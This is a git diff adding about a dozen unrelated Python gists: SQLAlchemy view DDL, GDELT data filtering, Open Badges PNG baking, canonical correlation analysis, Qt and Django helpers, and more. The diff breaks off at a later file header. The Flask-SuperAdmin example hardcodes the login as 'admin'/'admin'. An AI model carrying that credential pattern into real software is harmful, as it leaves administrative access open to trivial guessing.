+            self.query = query
+        if table is not None:
+            self._table = table
+        
+        self.register_events()
+    
+    def __repr__(self):
+        return u"%(class_name)s(name=%(name)r, on=%(on)r, query=%(query)r)" % dict(
+            class_name=self.__class__.__name__,
+            name=self.name,
+            on=self.on,
+            query=self.query
+        )
+    
+    def register_events(self):
+        for dependency in self._dependencies():
+            event.listen(
+                dependency,
+                'after_create',
+                self.create_after_all_dependencies
+            )
+            event.listen(
+                dependency,
+                "before_drop",
+                self.drop_before_all_dependencies
+            )
+    
+    def _dependencies(self):
+        for dependency in self.on:
+            if isinstance(dependency, Table):
+                yield dependency
+            if hasattr(dependency, '__table__'):
+                yield dependency.__table__
+            # TODO: throw
+        
+    def create_after_all_dependencies(self, *args, **kwargs):
+        if self.is_missing_any_dependency():
+            return
+        
+        CreateView(self.name, self.query)(*args, **kwargs)
+        if self._table is not None:
+            self._table.dispatch.after_create(*args, **kwargs)
+            
+    def drop_before_all_dependencies(self, *args, **kwargs):
+        if self.is_missing_any_dependency():
+            return
+        
+        if self._table is not None:
+            self._table.dispatch.before_drop(*args, **kwargs)
+        DropView(self.name)(*args, **kwargs)
+    
+    def is_missing_any_dependency(self):
+        dependendent_table_names = map(attrgetter('name'), self._dependencies())
+        inspector = Inspector.from_engine(DBSession.bind)
+        return not set(dependendent_table_names).issubset(inspector.get_table_names() + inspector.get_view_names())
+    
+    @property
+    def table(self):
+        if self._table is None:
+            self._table = ReflectedTable(self.name, read_only_metadata, autoload=True)
+        
+        return self._table
+
+
+class CreateView(DDLElement):
+    def __init__(self, name, query):
+        self.name = name
+        self.selectable = query
+
+# REFACT: try making those instance methods
+@compiles(CreateView)
+def visit_create_view(element, compiler, **kw):
+    return "\nCREATE VIEW %s\nAS\n\t%s" % (
+         element.name,
+         compiler.sql_compiler.process(element.selectable, literal_binds=True)
+    )
+
+@compiles(CreateView, 'sqlite')
+def visit_create_view(element, compiler, **kw):
+    return "\nCREATE VIEW IF NOT EXISTS %s\nAS\n\t%s" % (
+         element.name,
+         compiler.sql_compiler.process(element.selectable, literal_binds=True)
+    )
+
+class DropView(DDLElement):
+    def __init__(self, name):
+        self.name = name
+
+@compiles(DropView)
+def visit_drop_view(element, compiler, **kw):
+    return "\nDROP VIEW %s" % (element.name)
+
+@compiles(DropView, 'sqlite')
+def visit_drop_view(element, compiler, **kw):
+    return "\nDROP VIEW IF EXISTS %s" % (element.name)
diff --git a/hard-gists/5316196/._snippet.py b/hard-gists/5316196/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5316196/._snippet.py differ
diff --git a/hard-gists/5316196/snippet.py b/hard-gists/5316196/snippet.py
new file mode 100644
index 00000000..5abb9a04
--- /dev/null
+++ b/hard-gists/5316196/snippet.py
@@ -0,0 +1,71 @@
+from path import path
+import pandas as pd
+
+allActors = ['AFG', 'ALA', 'ALB', 'DZA', 'ASM', 'AND', 'AGO', 'AIA', 'ATG', 
+            'ARG', 'ARM', 'ABW', 'AUS', 'AUT', 'AZE', 'BHS', 'BHR', 'BGD', 
+            'BRB', 'BLR', 'BEL', 'BLZ', 'BEN', 'BMU', 'BTN', 'BOL', 'BIH', 
+            'BWA', 'BRA', 'VGB', 'BRN', 'BGR', 'BFA', 'BDI', 'KHM', 'CMR',
+            'CAN', 'CPV', 'CYM', 'CAF', 'TCD', 'CHL', 'CHN', 'COL', 'COM', 
+            'COD', 'COG', 'COK', 'CRI', 'CIV', 'HRV', 'CUB', 'CYP', 'CZE', 
+            'DNK', 'DJI', 'DMA', 'DOM', 'TMP', 'ECU', 'EGY', 'SLV', 'GNQ', 
+            'ERI', 'EST', 'ETH', 'FRO', 'FLK', 'FJI', 'FIN', 'FRA', 'GUF',
+            'PYF', 'GAB', 'GMB', 'GEO', 'DEU', 'GHA', 'GIB', 'GRC', 'GRL',
+            'GRD', 'GLP', 'GUM', 'GTM', 'GIN', 'GNB', 'GUY', 'HTI', 'VAT', 
+            'HND', 'HKG', 'HUN', 'ISL', 'IND', 'IDN', 'IRN', 'IRQ', 'IRL', 
+            'IMY', 'ISR', 'ITA', 'JAM', 'JPN', 'JOR', 'KAZ', 'KEN', 'KIR',
+            'PRK', 'KOR', 'KWT', 'KGZ', 'LAO', 'LVA', 'LBN', 'LSO', 'LBR', 
+            'LBY', 'LIE', 'LTU', 'LUX', 'MAC', 'MKD', 'MDG', 'MWI', 'MYS',
+            'MDV', 'MLI', 'MLT', 'MHL', 'MTQ', 'MRT', 'MUS', 'MYT', 'MEX',
+            'FSM', 'MDA', 'MCO', 'MNG', 'MTN', 'MSR', 'MAR', 'MOZ', 'MMR',
+            'NAM', 'NRU', 'NPL', 'NLD', 'ANT', 'NCL', 'NZL', 'NIC', 'NER',
+            'NGA', 'NIU', 'NFK', 'MNP', 'NOR', 'PSE', 'OMN', 'PAK', 'PLW', 
+            'PAN', 'PNG', 'PRY', 'PER', 'PHL', 'PCN', 'POL', 'PRT', 'PRI', 
+            'QAT', 'REU', 'ROM', 'RUS', 'RWA', 'SHN', 'KNA', 'LCA', 'SPM', 
+            'VCT', 'WSM', 'SMR', 'STP', 'SAU', 'SEN', 'SRB', 'SYC', 'SLE', 
+            'SGP', 'SVK', 'SVN', 'SLB', 'SOM', 'ZAF', 'ESP', 'LKA', 'SDN',
+            'SUR', 'SJM', 'SWZ', 'SWE', 'CHE', 'SYR', 'TJK', 'TZA', 'THA', 
+            'TGO', 'TKL', 'TON', 'TTO', 'TUN', 'TUR', 'TKM', 'TCA', 'TUV',
+            'UGA', 'UKR', 'ARE', 'GBR', 'USA', 'VIR', 'URY', 'UZB', 'VUT', 
+            'VEN', 'VNM', 'WLF', 'ESH', 'YEM', 'ZMB', 'ZWE']
+
+quad_codes = ['2', '3']
+
+filepaths = path.getcwd().files('*.reduced.txt')
+output = list()
+
+for path in filepaths:
+    data = open(path, 'r')
+    print 'Just read in the %s data...' % path
+    for line in data:
+        line = line.replace('\n', '')
+        split_line = line.split('\t')
+        condition1 = split_line[1][0:3] == 'USA'
+        condition2 = split_line[2][0:3] != 'USA'
+        condition3 = split_line[2][0:3] in allActors
+        condition4 = split_line[4] in quad_codes
+        try:
+            if all([condition1, condition2, condition3, condition4]):
+                output.append(split_line)
+        except IndexError:
+            pass
+
+header = open(filepaths[0], 'r').readline().split('\t')
+subset = pd.DataFrame(output, columns = header)
+
+subset['year'] = subset['Day'].str[0:4]
+subset['month'] = subset['Day'].str[4:6]
+
+keep_columns = ['year', 'month', 'Actor1Code', 'Actor2Code', 'QuadCategory']
+subset = subset[keep_columns]
+
+subset['verbal_coop'] = 0
+subset['verbal_conf'] = 0
+
+subset['verbal_coop'][subset['QuadCategory'] == '2'] = 1
+subset['verbal_conf'][subset['QuadCategory'] == '3'] = 1
+
+subset_grouped = subset.groupby(['year', 'month', 'Actor1Code',
+'Actor2Code'], as_index = False)
+subset_aggregated = subset_grouped.sum()
+
+subset_aggregated.to_csv('gdelt_subset.csv', index = False)
diff --git a/hard-gists/5326230/._snippet.py b/hard-gists/5326230/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5326230/._snippet.py differ
diff --git a/hard-gists/5326230/snippet.py b/hard-gists/5326230/snippet.py
new file mode 100644
index 00000000..d4a0ec05
--- /dev/null
+++ b/hard-gists/5326230/snippet.py
@@ -0,0 +1,24 @@
+from pykd import * 
+
+kernel32 = module("kernel32")
+ntdll = module("ntdll")
+
+ip = 0
+
+if is64bitSystem():
+    ip = reg("rip")
+else:
+    ip = reg("eip")
+
+while (
+            (
+                kernel32.begin() < ip
+                and ip < kernel32.end()
+            )
+        or
+            (
+                ntdll.begin() < ip
+                and ip < ntdll.end()
+            )
+      ):
+    trace()
\ No newline at end of file
diff --git a/hard-gists/5326379/._snippet.py b/hard-gists/5326379/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5326379/._snippet.py differ
diff --git a/hard-gists/5326379/snippet.py b/hard-gists/5326379/snippet.py
new file mode 100644
index 00000000..57a7b928
--- /dev/null
+++ b/hard-gists/5326379/snippet.py
@@ -0,0 +1,99 @@
+"""
+    This small module makes it easy to bake PNG images with links to
+    Open Badge assertions. It also allows for easy retrieval of the link
+    from baked PNGs.
+
+    For more information on badge baking, see:
+
+        https://github.com/mozilla/openbadges/wiki/Badge-Baking
+
+    Note that this module requires the PyPNG module:
+
+        http://pythonhosted.org/pypng/
+
+    The module can be installed via 'pip install pypng'.
+"""
+
+import os
+import png
+
+def get_baked_url(src):
+    """
+    Return the assertion URL contained in the given baked PNG. If
+    the image isn't baked, return None.
+
+    Example:
+
+        >>> get_baked_url('baked.png')
+        'http://f.org/assertion.json'
+    """
+
+    if isinstance(src, basestring): src = open(src, 'rb')
+    reader = png.Reader(file=src)
+    for chunktype, content in reader.chunks():
+        if chunktype == 'tEXt' and content.startswith('openbadges\x00'):
+            return content.split('\x00')[1]
+
+def bake_badge(src, dest, url):
+    """
+    Bake the given PNG file with the given assertion URL. The source and
+    destination can be filenames or file objects.
+
+    Example:
+
+        >>> bake_badge('unbaked.png', 'baked.png', 'http://f.org/a.json')
+    """
+
+    if isinstance(src, basestring): src = open(src, 'rb')
+    if isinstance(dest, basestring): dest = open(dest, 'wb')
+
+    reader = png.Reader(file=src)
+    chunks = [
+        (chunktype, content)
+        for chunktype, content in reader.chunks()
+        if not (chunktype == 'tEXt' and content.startswith('openbadges\x00'))
+    ]
+
+    chunks.insert(1, ('tEXt', '\x00'.join(('openbadges', url))))
+    png.write_chunks(dest, chunks)
+
+def test(show_output=False):
+    """
+    Test suite for this module.
+    """
+
+    from StringIO import StringIO
+
+    def eq(a, b, msg):
+        if show_output: print "%-60s" % msg,
+        if a != b:
+            raise AssertionError('%s (%s != %s)' % (msg, repr(a), repr(b)))
+        if show_output: print "OK"
+
+    PNG = '\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x10\x00\x00\x00' \
+          '\x10\x08\x02\x00\x00\x00\x90\x91h6\x00\x00\x00\x19IDAT(\x91c' \
+          '\xfc\xff\xff?\x03)\x80\x89$\xd5\xa3\x1aF5\x0c)\r\x00Um\x03' \
+          '\x1d\xe4FZ\x12\x00\x00\x00\x00IEND\xaeB`\x82'
+
+    unbaked = StringIO(PNG)
+    eq(get_baked_url(unbaked), None,
+       'get_baked_url() on unbaked badge returns None')
+
+    unbaked = StringIO(PNG)
+    baked = StringIO()
+    bake_badge(unbaked, baked, 'http://foo.org/assertion.json')
+
+    baked = StringIO(baked.getvalue())
+    eq(get_baked_url(baked), 'http://foo.org/assertion.json',
+       'baking an unbaked badge works')
+
+    baked = StringIO(baked.getvalue())
+    rebaked = StringIO()
+    bake_badge(baked, rebaked, 'http://another/assertion')
+
+    rebaked = StringIO(rebaked.getvalue())
+    eq(get_baked_url(rebaked), 'http://another/assertion',
+       'baking an already-baked badge re-bakes it')
+
+if __name__ == '__main__':
+    test(show_output=True)
diff --git a/hard-gists/5328738/._snippet.py b/hard-gists/5328738/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5328738/._snippet.py differ
diff --git a/hard-gists/5328738/snippet.py b/hard-gists/5328738/snippet.py
new file mode 100644
index 00000000..5aa056d1
--- /dev/null
+++ b/hard-gists/5328738/snippet.py
@@ -0,0 +1,55 @@
+'''
+This code is an example of Flask-SuperAdmin app with basic authentication. Use it for anything you like.
+
+Based on this snippet: http://flask.pocoo.org/snippets/8/
+'''
+import flask
+from flask.ext.superadmin import Admin, expose, AdminIndexView as _AdminIndexView
+from flask.ext.superadmin.model import ModelAdmin as _ModelAdmin
+from flask.ext.sqlalchemy import SQLAlchemy
+
+app = flask.Flask(__name__)
+db = SQLAlchemy(app)
+
+class User(db.Model):
+    id = db.Column(db.Integer, primary_key=True)
+    name = db.Column(db.String(30), nullable=False)
+
+
+def check_auth(username, password):
+    return username == password == 'admin'
+
+def authenticate():
+    return flask.Response(
+    'Could not verify your access level for that URL.\n'
+    'You have to login with proper credentials', 401,
+    {'WWW-Authenticate': 'Basic realm="Login Required"'})
+
+def is_authenticated():
+    auth = flask.request.authorization
+    return auth and check_auth(auth.username, auth.password)
+
+
+class ModelAdmin(_ModelAdmin):
+
+    def is_accessible(self):
+        return is_authenticated()
+
+    def _handle_view(self, name, *args, **kwargs):
+        if not self.is_accessible():
+            return authenticate()
+
+
+class AdminIndexView(_AdminIndexView):
+    @expose('/')
+    def index(self):
+        if not is_authenticated():
+            return authenticate()
+        return super(AdminIndexView, self).index()
+
+
+admin = Admin(app, index_view=AdminIndexView())
+admin.register(User, admin_class=ModelAdmin, session=db.session)
+
+if __name__ == '__main__':
+    app.run()
diff --git a/hard-gists/5329310/._snippet.py b/hard-gists/5329310/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5329310/._snippet.py differ
diff --git a/hard-gists/5329310/snippet.py b/hard-gists/5329310/snippet.py
new file mode 100644
index 00000000..9515671f
--- /dev/null
+++ b/hard-gists/5329310/snippet.py
@@ -0,0 +1,112 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+'''
+正準相関分析
+cca.py
+'''
+
+import numpy as np
+import scipy as sp
+from scipy import linalg as LA
+from scipy.spatial import distance as DIST
+
+
+def cca(X, Y):
+    '''
+    正準相関分析
+    http://en.wikipedia.org/wiki/Canonical_correlation
+    '''    
+    n, p = X.shape
+    n, q = Y.shape
+
+    # zero mean
+    X = X - X.mean(axis=0)
+    Y = Y - Y.mean(axis=0)
+
+    # covariances
+    S = np.cov(X.T, Y.T, bias=1)
+
+    # S = np.corrcoef(X.T, Y.T)
+    SXX = S[:p,:p]
+    SYY = S[p:,p:]
+    SXY = S[:p,p:]
+    SYX = S[p:,:p]
+
+    # 
+    sqx = LA.sqrtm(LA.inv(SXX)) # SXX^(-1/2)
+    sqy = LA.sqrtm(LA.inv(SYY)) # SYY^(-1/2)
+    M = np.dot(np.dot(sqx, SXY), sqy.T) # SXX^(-1/2) * SXY * SYY^(-T/2)
+    A, s, Bh = LA.svd(M, full_matrices=False)
+    B = Bh.T
+
+    U = np.dot(np.dot(A.T, sqx), X.T).T
+    V = np.dot(np.dot(B.T, sqy), Y.T).T
+
+    return s, A, B, U, V
+
+
+def gaussian_kernel(x, y, var=1.0):
+    return np.exp(-np.linalg.norm(x - y) ** 2 / (2 * var))
+
+def polynomial_kernel(x, y, c=1.0, d=2.0):
+    return (np.dot(x, y) + c) ** d
+
+def kcca(X, Y, kernel_x=gaussian_kernel, kernel_y=gaussian_kernel, eta=1.0):
+    '''
+    カーネル正準相関分析
+    http://staff.aist.go.jp/s.akaho/papers/ibis00.pdf
+    '''
+    n, p = X.shape
+    n, q = Y.shape
+
+    Kx = DIST.squareform(DIST.pdist(X, kernel_x))
+    Ky = DIST.squareform(DIST.pdist(Y, kernel_y))
+    J = np.eye(n) - np.ones((n, n)) / n
+    M = np.dot(np.dot(Kx.T, J), Ky) / n
+    L = np.dot(np.dot(Kx.T, J), Kx) / n + eta * Kx
+    N = np.dot(np.dot(Ky.T, J), Ky) / n + eta * Ky
+
+    sqx = LA.sqrtm(LA.inv(L))
+    sqy = LA.sqrtm(LA.inv(N))
+
+    a = np.dot(np.dot(sqx, M), sqy.T)
+    A, s, Bh = LA.svd(a, full_matrices=False)
+    B = Bh.T
+
+    # U = np.dot(np.dot(A.T, sqx), X).T
+    # V = np.dot(np.dot(B.T, sqy), Y).T
+
+    return s, A, B
+
+
+def get_data_1():
+    X = np.array([[2,1],[1,2],[0,0],[-1,-2],[-2,-1]])
+    Y = np.array([[2,2],[-1,-1],[0,0],[-2,1],[1,-2]])
+    return X, Y
+
+def get_data_2():
+    n = 100
+    theta = (np.random.rand(n) - 0.5) * np.pi
+    x1 = np.sin(theta)
+    x2 = np.sin(3 * theta)
+    X = np.vstack([x1, x2]).T + np.random.randn(n, 2) * .05
+    y1 = np.exp(theta) * np.cos(2 * theta)
+    y2 = np.exp(theta) * np.sin(2 * theta)
+    Y = np.vstack([y1, y2]).T + np.random.randn(n, 2) * .05
+    return X, Y
+
+def test_cca():
+    X, Y = get_data_1()
+    cca(X, Y)
+    X, Y = get_data_2()
+    cca(X, Y)
+
+def test_kcca():
+    X, Y = get_data_1()
+    kcca(X, Y)
+    X, Y = get_data_2()
+    kcca(X, Y)
+
+if __name__ == '__main__':
+    test_cca()
+    test_kcca()
\ No newline at end of file
diff --git a/hard-gists/5330231/._snippet.py b/hard-gists/5330231/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5330231/._snippet.py differ
diff --git a/hard-gists/5330231/snippet.py b/hard-gists/5330231/snippet.py
new file mode 100644
index 00000000..52784e20
--- /dev/null
+++ b/hard-gists/5330231/snippet.py
@@ -0,0 +1,60 @@
+'''
+Copyright 2013 Lloyd Konneker
+
+License: LGPL
+'''
+from PySide.QtCore import QSettings
+
+
+class WindowSettable(object):
+  '''
+  Mixin behavior for MainWindow: window attributes persist as Settings
+  
+  See Qt Application Example, where these are called readSettings() and writeSettings().
+  
+  Assert that QSettings have been established on app startup:
+  QCoreApplication.setOrganizationName("Foo")
+  QCoreApplication.setOrganizationDomain("foo.com")
+  QCoreApplication.setApplicationName("Bar")
+  '''
+  
+  
+  def _readAndApplyWindowAttributeSettings(self):
+    '''
+    Read window attributes from settings,
+    using current attributes as defaults (if settings not exist.)
+    
+    Called at QMainWindow initialization, before show().
+    '''
+    qsettings = QSettings()
+
+    qsettings.beginGroup( "mainWindow" )
+
+    # No need for toPoint, etc. : PySide converts types
+    self.restoreGeometry(qsettings.value( "geometry", self.saveGeometry())) 
+    self.restoreState(qsettings.value( "saveState", self.saveState()))
+    self.move(qsettings.value( "pos", self.pos()))
+    self.resize(qsettings.value( "size", self.size()))
+    if qsettings.value( "maximized", self.isMaximized()) :
+        self.showMaximized()
+
+    qsettings.endGroup()
+  
+  
+
+  def _writeWindowAttributeSettings(self):
+    '''
+    Save window attributes as settings.
+    
+    Called when window moved, resized, or closed.
+    '''
+    qsettings = QSettings()
+
+    qsettings.beginGroup( "mainWindow" )
+    qsettings.setValue( "geometry", self.saveGeometry() )
+    qsettings.setValue( "saveState", self.saveState() )
+    qsettings.setValue( "maximized", self.isMaximized() )
+    if not self.isMaximized() == True :
+        qsettings.setValue( "pos", self.pos() )
+        qsettings.setValue( "size", self.size() )
+    qsettings.endGroup()
\ No newline at end of file
diff --git a/hard-gists/5330566/._snippet.py b/hard-gists/5330566/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5330566/._snippet.py differ
diff --git a/hard-gists/5330566/snippet.py b/hard-gists/5330566/snippet.py
new file mode 100644
index 00000000..94cd3075
--- /dev/null
+++ b/hard-gists/5330566/snippet.py
@@ -0,0 +1,61 @@
+## The following is from TonyT
+## http://hints.macworld.com/article.php?story=2008051406323031
+
+import sys
+import time
+from Quartz.CoreGraphics import *    # imports all of the top-level symbols in the module
+
+class AppleMouseEvents():
+    """
+     with thanks to:
+     TonyT http://hints.macworld.com/article.php?story=2008051406323031
+     
+     example:
+    m = AppleMouseEvents()
+    pos = m.currentPos()
+    m.mousedrag(pos.x,pos.y+float('30'))
+    
+    """
+    def __init__(self):
+        self.relative = True
+        
+    def mouseEvent(self,type, posx, posy):
+        theEvent = CGEventCreateMouseEvent(None, type, (posx,posy), kCGMouseButtonLeft)
+        CGEventPost(kCGHIDEventTap, theEvent)
+    def mousemove(self,posx,posy):
+        self.mouseEvent(kCGEventMouseMoved, posx,posy);
+    def mouseclickdn(self,posx,posy):
+        self.mouseEvent(kCGEventLeftMouseDown, posx,posy);
+    def mouseclickup(self,posx,posy):
+        self.mouseEvent(kCGEventLeftMouseUp, posx,posy);
+    def mousedrag(self,posx,posy):
+        self.mouseEvent(kCGEventLeftMouseDragged, posx,posy);
+    
+    def mouserclick(self,posx,posy):
+        self.mouseEvent(kCGEventRightMouseDown, posx,posy);
+        self.mouseEvent(kCGEventRightMouseUp, posx,posy);
+    
+    def mousesingleclick(self,posx,posy):
+        self.mouseclickdn(posx,posy)
+        self.mouseclickup(posx,posy)
+
+    def mousedblclick(self,posx,posy):
+        self.mousesingleclick(posx,posy)
+        self.mousesingleclick(posx,posy)
+    
+    def mousetrplclick(self,posx,posy):
+        self.mousesingleclick(posx,posy)
+        self.mousesingleclick(posx,posy)
+        self.mousesingleclick(posx,posy)
+    
+    def currentPos(self):
+        ourEvent = CGEventCreate(None);	
+        return CGEventGetLocation(ourEvent);	# Save current mouse position    
+
+class AppleKeyboardEvents():
+    def __init__(self):
+        self.relative = True
+
+class AppleWindowEvents():
+    def __init__(self):
+        self.relative = True
diff --git a/hard-gists/5338905/._snippet.py b/hard-gists/5338905/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5338905/._snippet.py differ
diff --git a/hard-gists/5338905/snippet.py b/hard-gists/5338905/snippet.py
new file mode 100644
index 00000000..38b45296
--- /dev/null
+++ b/hard-gists/5338905/snippet.py
@@ -0,0 +1,41 @@
+#!/usr/bin/python
+ 
+# Import PySide classes
+import sys
+from PySide.QtCore import *
+from PySide.QtGui import *
+ 
+
+class App:
+  def __init__(self):
+    # Create a Qt application
+    self.app = QApplication(sys.argv)
+    
+    icon = QIcon("jenkins_favicon.png")
+    menu = QMenu()
+    settingAction = menu.addAction("setting")
+    settingAction.triggered.connect(self.setting)
+    exitAction = menu.addAction("exit")
+    exitAction.triggered.connect(sys.exit)
+    
+    self.tray = QSystemTrayIcon()
+    self.tray.setIcon(icon)
+    self.tray.setContextMenu(menu)
+    self.tray.show()
+    self.tray.setToolTip("unko!")
+    self.tray.showMessage("hoge", "moge")
+    self.tray.showMessage("fuga", "moge")
+    
+  def run(self):
+    # Enter Qt application main loop
+    self.app.exec_()
+    sys.exit()
+
+  def setting(self):
+    self.dialog = QDialog()
+    self.dialog.setWindowTitle("Setting Dialog")
+    self.dialog.show()
+
+if __name__ == "__main__":
+  app = App()
+  app.run()
\ No newline at end of file
diff --git a/hard-gists/5344084/._snippet.py b/hard-gists/5344084/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5344084/._snippet.py differ
diff --git a/hard-gists/5344084/snippet.py b/hard-gists/5344084/snippet.py
new file mode 100644
index 00000000..ada91425
--- /dev/null
+++ b/hard-gists/5344084/snippet.py
@@ -0,0 +1,126 @@
+"""
+The following mixins and views are borrowed and adapted from the following
+gist:
+            https://gist.github.com/michelts/1029336
+"""
+from functools import partial
+
+from django.views.generic.base import TemplateResponseMixin
+from django.views.generic.edit import ProcessFormView, FormMixin
+
+
+class MultipleFormsMixin(FormMixin):
+    """
+    A mixin that provides a way to show and handle several forms in a
+    request. Forms are provided in the class attribute *form_classes* which
+    provides a mapping of form names to form classes. The form name is used
+    as identifier and automatically put into the context when calling
+    ``get_context_data``.
+    Providing keyword arguments for the forms uses ``get_form_kwargs`` by
+    default for every form class. For convenience, adding specific keywords
+    to an individiual form is also possible by calling the
+    ``get_<form_key>_kwargs``, e.g. for a form class with key *basket_form*,
+    you would call ``get_basket_form_kwargs``.
+    It is also easy to get an individual form instance by calling either
+    ``get_form`` with the *key* as argument or the corresponding
+    ``get_basket_form()`` method for convenience. To prevent instantiating
+    the forms multiple times throughout the request cycle, the form instances
+    are cached on the instance. If ``get_form`` is called and the instance
+    are not populated, yet, all forms are instantiated and cached before
+    returning the requested form instance.
+    """
+    form_classes = {} # set the form classes as a mapping
+    # we are caching instatiated forms here to make sure that we can get
+    # individual instances from forms easier and don't have to worry about
+    # instantiating them multiple times through out the course of a
+    # request cycle.
+    _cached_forms = {}
+
+    def get_form_classes(self):
+        return self.form_classes
+
+    def get_forms(self, form_classes):
+        if self._cached_forms:
+            return self._cached_forms
+        self._cached_forms = {}
+        for key, form_class in form_classes.items():
+            kwargs = getattr(self, 'get_{0}_kwargs'.format(key),
+                             self.get_form_kwargs)()
+            self._cached_forms[key] = form_class(**kwargs)
+        return self._cached_forms
+
+    def __getattr__(self, name):
+        form_key = name.replace('get_', '')
+        if form_key in self.form_classes:
+            return partial(self.get_form, form_key)
+        return super(MultipleFormsMixin, self).__getattr__(name)
+
+    def get_form(self, key):
+        if not self._cached_forms:
+            self.get_forms(self.form_classes)
+        return self._cached_forms[key]
+
+    def get_context_data(self, **kwargs):
+        kwargs = super(MultipleFormsMixin, self).get_context_data(**kwargs)
+        kwargs.update(self._cached_forms)
+        return kwargs
+
+    def forms_valid(self, forms):
+        return super(MultipleFormsMixin, self).form_valid(forms)
+
+    def forms_invalid(self, forms):
+        return self.render_to_response(self.get_context_data(forms=forms))
+
+
+class ProcessMultipleFormsView(ProcessFormView):
+    """
+    A mixin that processes multiple forms on POST. Every form must be
+    valid.
+    """
+    validation_results = {}
+
+    def validate_forms(self, forms):
+        """
+        Validate forms against each other in here. This should return a
+        dictionary of validation result with *form_key* and validation result.
+        """
+        return {}
+
+    def is_form_valid(self, form_key):
+        """
+        Get the validation result for the given *form_key*. This requires the
+        validation to be run previously.
+        """
+        return self.validation_results.get(form_key)
+
+    def check_forms_are_valid(self, forms):
+        self.validation_results = {}
+        for form_key, form in forms.items():
+            self.validation_results[form_key] = form.is_valid()
+        # allow for cross-form validation and update the validation resuts
+        self.validation_results.update(self.validate_forms(forms))
+        return all(self.validation_results.values())
+
+    def get(self, request, *args, **kwargs):
+        form_classes = self.get_form_classes()
+        forms = self.get_forms(form_classes)
+        return self.render_to_response(self.get_context_data(forms=forms))
+
+    def post(self, request, *args, **kwargs):
+        form_classes = self.get_form_classes()
+        forms = self.get_forms(form_classes)
+        if self.check_forms_are_valid(forms):
+            return self.forms_valid(forms)
+        else:
+            return self.forms_invalid(forms)
+
+
+class BaseMultipleFormsView(MultipleFormsMixin, ProcessMultipleFormsView):
+    """
+    A base view for displaying several forms.
+    """
+
+class MultipleFormsView(TemplateResponseMixin, BaseMultipleFormsView):
+    """
+    A view for displaing several forms, and rendering a template response.
+    """
diff --git a/hard-gists/5352608/._snippet.py b/hard-gists/5352608/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5352608/._snippet.py differ
diff --git a/hard-gists/5352608/snippet.py b/hard-gists/5352608/snippet.py
new file mode 100644
index 00000000..c56841af
--- /dev/null
+++ b/hard-gists/5352608/snippet.py
@@ -0,0 +1,36 @@
+from apscheduler.scheduler import Scheduler
+import datetime as dt
+
+sched = Scheduler()
+sched.start()
+
+def timeout(job_fn, *fn_args, **delta_args):
+    """Like setTimeout in javascript; returns a job object
+    
+    First argument is the function to be called.
+    
+    Positional arguments will be passed to the function when it's called.
+    
+    Keyword arguemnts will be passed to datetime.timedelta
+    
+    Usage:
+        # calls `fn()` after 3 seconds
+        timeout(fn, seconds=3)
+        
+        # calls `fn(foo, bar)` after 10 seconds
+        timeout(fn, foor, bar, seconds=10)
+    """
+    time = dt.datetime.now() + dt.timedelta(**delta_args)
+    return sched.add_date_job(job_fn, time, fn_args)
+
+
+# Example usage:
+
+def hello_spam(name): 
+    print "Hello {0}".format(name)
+    timeout(hello_spam, name, seconds=1)
+
+hello_spam("Dude")
+
+import time
+time.sleep(15)
\ No newline at end of file
diff --git a/hard-gists/5355925/._snippet.py b/hard-gists/5355925/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5355925/._snippet.py differ
diff --git a/hard-gists/5355925/snippet.py b/hard-gists/5355925/snippet.py
new file mode 100644
index 00000000..9fdc51e6
--- /dev/null
+++ b/hard-gists/5355925/snippet.py
@@ -0,0 +1,34 @@
+from sklearn import linear_model
+from scipy import stats
+import numpy as np
+
+
+class LinearRegression(linear_model.LinearRegression):
+    """
+    LinearRegression class after sklearn's, but calculate t-statistics
+    and p-values for model coefficients (betas).
+    Additional attributes available after .fit()
+    are `t` and `p` which are of the shape (y.shape[1], X.shape[1])
+    which is (n_features, n_coefs)
+    This class sets the intercept to 0 by default, since usually we include it
+    in X.
+    """
+
+    def __init__(self, *args, **kwargs):
+        if not "fit_intercept" in kwargs:
+            kwargs['fit_intercept'] = False
+        super(LinearRegression, self)\
+                .__init__(*args, **kwargs)
+
+    def fit(self, X, y, n_jobs=1):
+        self = super(LinearRegression, self).fit(X, y, n_jobs)
+
+        sse = np.sum((self.predict(X) - y) ** 2, axis=0) / float(X.shape[0] - X.shape[1])
+        se = np.array([
+            np.sqrt(np.diagonal(sse[i] * np.linalg.inv(np.dot(X.T, X))))
+                                                    for i in range(sse.shape[0])
+                    ])
+
+        self.t = self.coef_ / se
+        self.p = 2 * (1 - stats.t.cdf(np.abs(self.t), y.shape[0] - X.shape[1]))
+        return self
\ No newline at end of file
diff --git a/hard-gists/5356796/._snippet.py b/hard-gists/5356796/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5356796/._snippet.py differ
diff --git a/hard-gists/5356796/snippet.py b/hard-gists/5356796/snippet.py
new file mode 100644
index 00000000..fe617f7f
--- /dev/null
+++ b/hard-gists/5356796/snippet.py
@@ -0,0 +1,21 @@
+import random
+from markov import MarkovGenerator
+from markov_by_char import CharacterMarkovGenerator
+
+# word MarkovGenerator
+generator = MarkovGenerator(n=2, max=500)
+
+# character MarkovGenerator
+#generator = CharacterMarkovGenerator(n=3, max=100)
+
+for line in open('white-album.txt'):
+  line = line.strip()
+  generator.feed(line)
+  generator.feed(line)
+  
+for line in open('black-album.txt'):
+  line = line.strip()
+  generator.feed(line)
+
+for i in range(3):
+    print generator.generate()
\ No newline at end of file
diff --git a/hard-gists/5358040/._snippet.py b/hard-gists/5358040/._snippet.py
new file mode 100644
index 00000000..cd8af967
